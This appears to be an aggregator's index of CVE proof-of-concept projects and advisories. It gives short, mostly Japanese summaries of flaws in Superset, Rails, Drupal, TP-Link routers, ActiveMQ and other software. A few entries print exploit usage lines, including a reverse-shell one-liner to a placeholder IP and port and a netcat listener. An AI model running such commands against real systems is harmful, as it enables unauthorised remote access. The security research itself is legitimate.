CVE-2024-34693

CVE-2024-34693: Apache Superset におけるサーバー任意ファイル読み取り Apache Superset の不適切な入力検証の脆弱性により、認証済みの攻撃者が localinfile を有効にした MariaDB 接続を作成できる可能性があります。Superset の MySQL/MariaDB クライアントで localinfile を有効にし、そのクライアントを悪意のある MySQL サーバーに向けることで、攻撃者は "LOAD DATA LOCAL INFILE"（Rogue MySQL Server）攻撃を仕掛け、サーバーからファイルを読み取り、その内...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Railsにおけるユーザー指定のローカル名によるリモートコード実行 Rails 5.0.1 におけるユーザー指定のローカル名によるリモートコード実行 5.0.1 より前のバージョンの Rails には、render 呼び出しの locals 引数を制御できる攻撃者によって悪用される脆弱性が 存在しました。 この脆弱性には CVE 識別子 CVE-2020-8163 が割り当てられています。 影響を受けるバージョン: rails 5.0.1 影響を受けない: ユーザーがローカル名を制御できないアプリケーション 修正されたバージョン...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC 安全でない eval の使用による Searchor --test 任意のコマンドを実行 ターゲットサーバー上で任意のコマンドを実行します: root@kitploit: python3 CVE-2023-43364.py -a "whoami" 例: root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls...

EUVD-2026-84404

NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious input created by an attacker could cause a code injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering...

CVE-2023-33405

CVE-2023-33405 BlogEngine.NET CMS（バージョン 3.3.8.0 以前）で確認されたオープンリダイレクトの脆弱性 default.aspx ページへの GET リクエストの URL 内に "years=" が含まれている場合、アプリケーションは "Redirect" という名前の関数を呼び出します。 この関数は、year、month、date、page、rewrite を含む複数のパラメータを設定します。date パラメータは DateTime オブジェクトを使用して解析されますが、month パラメータと year パラメータは検証されておらず、rewri...

CVE-2022-45299

CVE-2022-45299 影響を受けるライブラリ： webbrowser.rs バージョン 0.8.3 以前 https://github.com/amodm/webbrowser-rs 概要: このライブラリは、提供された入力が実際にURLであることを検証できません。したがって、webbrowser::openURL に渡される未フィルタリングのURLを制御する攻撃者は、デフォルトのエクスプローラーで開かれるローカルファイルパスを提供したり、基盤となるopenコマンドに1つの引数を渡して、任意の登録済みシステムコマンドを実行させたりすることができます。 詳細:...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 RCE 説明 Adobe Commerce バージョン 2.4.3-p1（およびそれ以前）および 2.3.7-p2（およびそれ以前）は、チェックアウト処理中に不適切な入力検証の脆弱性の影響を受けます。この問題の悪用にはユーザー操作は不要で、任意のコード実行につながる可能性があります。 POC RCE...

CVE-2023-33538

TP-Link TL-WR940N/TL-WR841N コマンドインジェクション脆弱性のPythonエクスプロイト 使用手順 1. 基本的な脆弱性チェック : root@kitploit: python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. カスタムコマンドの実行 : root@kitploit: python tplinkexploit.py -t 192.168.1.1 -u admin -p admin -c "yourcommandhere" 3. リバースシェル 先にリスナーを nc -lvnp 4444...

CVE-2021-20717

CVE-2021-20717-EC-CUBE-XSS NVD 説明 EC-CUBE 4.0.0 から 4.0.5 におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が EC-CUBE を使用して作成された EC サイトの特定の入力フィールドに特別に細工されたスクリプトを注入する可能性があります。その結果、管理者の Web ブラウザ上で任意のスクリプトが実行される可能性があります。 セットアップ 1. EC Cube のクローン root@kitploit: git clone https://github.com/EC-CUBE/ec-cube.git -b 4.0.5...

CVE-2026-40564

CVE-2026-40564: flink-kubernetes-operator における FlinkSessionJob.spec.job.jarURI 経由の SSRF Apache Flink Kubernetes Operator は、FlinkSessionJobまたは FlinkDeploymentリソース上の spec.job.jarURI フィールドをチェックしません。これらのリソースを作成できる人は誰でも、jarURI を任意の URL に設定できます。Operator がリソースを調整reconcileする際、自身の Pod 内部からその URL...

Blackash-CVE-2025-48593

🚨 CVE-2025-48593 안드로이드 시스템 제로클릭 원격 코드 실행 🚨 "단 하나의 악성 패킷이 당신의 기기를 장악할 수 있습니다." — Android Security Team, 2025년 11월 🎯 취약점 스냅샷 속성| 세부 내용 ---|--- CVE ID| CVE-2025-48593 심각도| 🔴 치명적 RCE, 제로클릭 CVSS 추정| 9.8 NVD 확인 중 공격 경로| 🌐 네트워크 원격 사용자 상호작용| ❌ 필요 없음 필요 권한| ❌ 없음 익스플로잇 상태| 🟡 공개 PoC 없음 2025년 11월 4일 기준 🛡️ 영향받...

CVE-2018-7600-PoC

SAWPOC — CVE-2018-7600 CVE-2018-7600 （別名 Drupalgeddon2 ）向けの Python 製 Proof of Concept です。 CVE-2018-7600 は、Drupal 7 の特定バージョンに影響を及ぼす重大な脆弱性です。脆弱な構成では、認証されていない攻撃者が悪意のある入力を注入し、リモートコード実行を達成できる可能性があります。 ⚠️ 免責事項: このプロジェクトは、教育目的、CTF、セキュリティ研究、および許可を得たペネトレーションテストにのみ使用することを目的としています。明示的な許可なくシステムに対して使用しないでください。...

cve_2024_0044

CVE 2024 0044...

CVE-2018-7747

CVE-2018-7747 CalderaForms 1.5.9.1 XSS WordPressプラグイン - チュートリアル CalderaFormは、ドラッグ＆ドロップで簡単にフォームを作成できるWordPressプラグインです。 最近の活動でいくつかのポータルをテストする機会があり、そのうちの1つはまさにこのプラグインで作成されたお問い合わせフォームをホストしていました。 対象インスタンスのカスタム設定により、脆弱性を発見することができました。その性質はシンプルで入門書的なものであるため、初心者にいくつかのメカニズムを説明する良い口実になると思います。 教育目的専用 -...

CVE20265172poc

CVE20265172poc CVE-2026-5172: 細工されたリソースレコードを処理する extractaddresses のバッファオーバーフロー PoC トポロジーはこちら https://medium.com/@yanyuyingshu/reproduction-journal-dnsmasq-ecs-validation-and-buffer-overflow-flaws-e0fe0f66f60c 手順 1. vi /etc/dnsmasq.conf port=5353 listen-address=xxx.xxx.xxx.x bind-interfaces...

HFS_EXPLOIT_PROJECT

HFSEXPLOITPROJECT HFS 2.3 に対する Metasploit RCE - CVE-2014-62 🔖 プロジェクトのタイトル root@kitploit: HTTP File Server HFS 2.3 を介したリモートコード実行 ⚙ 使用ツール • Kali Linux • Nmap • Metasploit • ターゲット: Windows 7 上の HFS 2.3 🔐 脆弱性の詳細 • 名前: CVE-2014-6287 • 種類: リモートコード実行 • 原因: HFS スクリプティングにおける未検証の入力 • 影響: 未認証のシェルアクセス 🔍 手法...

Security Bulletin: Due to the use of Apache ActiveMQ All, IBM Sterling Control Center is vulnerable to Improper Authorization and Improper Input Validation (CVE-2026-59878, CVE-2026-61487)

Summary Apache ActiveMQ All is used by IBM Sterling Control Center as part of dependency in activemq-all-5.19.0.jar. Vulnerability Details CVEID:CVE-2026-59878 DESCRIPTION: Improper Input Validation vulnerability in Apache ActiveMQ AMQP, Apache ActiveMQ, Apache ActiveMQ All. A remote...

CVE-2021-24891-Simulation

Elementor Website Builder WordPressプラグインで確認されたCVE-2021-24891のDOMベースのクロスサイトスクリプティング（XSS）脆弱性をシミュレートおよび悪用するための、実践的なコンテナ化されたラボ環境です。 📖 この脆弱性について...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

CVE-2015-5254脆弱性の悪用- CVE-2015-5254脆弱性は、アプリケーション間の通信に広く使用されるオープンソースのメッセージサーバーApache ActiveMQにおけるセキュリティホールです。この脆弱性はActiveMQバージョン5.13.0までに影響し、送信されるJMS ObjectMessage入力データのフィルタリング不足に起因します。 ネットワークスキャン： nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1 ダウンロードしたフォルダからDockerを使ってActiveMQ 2015を起動します：...

cve-2026-58138

CVE-2026-58138: Conductor の認証なし RCE CVE-2026-58138 の再現キットです。これは Conductor の CVSS 9.8 のコードインジェクション脆弱性です。OpenTaint ルールと GraalVM 近似、独立したルールテスト、スキャン結果、実際に動作するエクスプロイトが含まれています。 ケーススタディを読む インタラクティブ HTML レポートを開く 同梱の SARIF を表示 OpenTaint を入手 このスキャンは Conductor v3.23.0 を対象とし、認証なしのワークフロー入力からホストへのフルアクセスが可能な...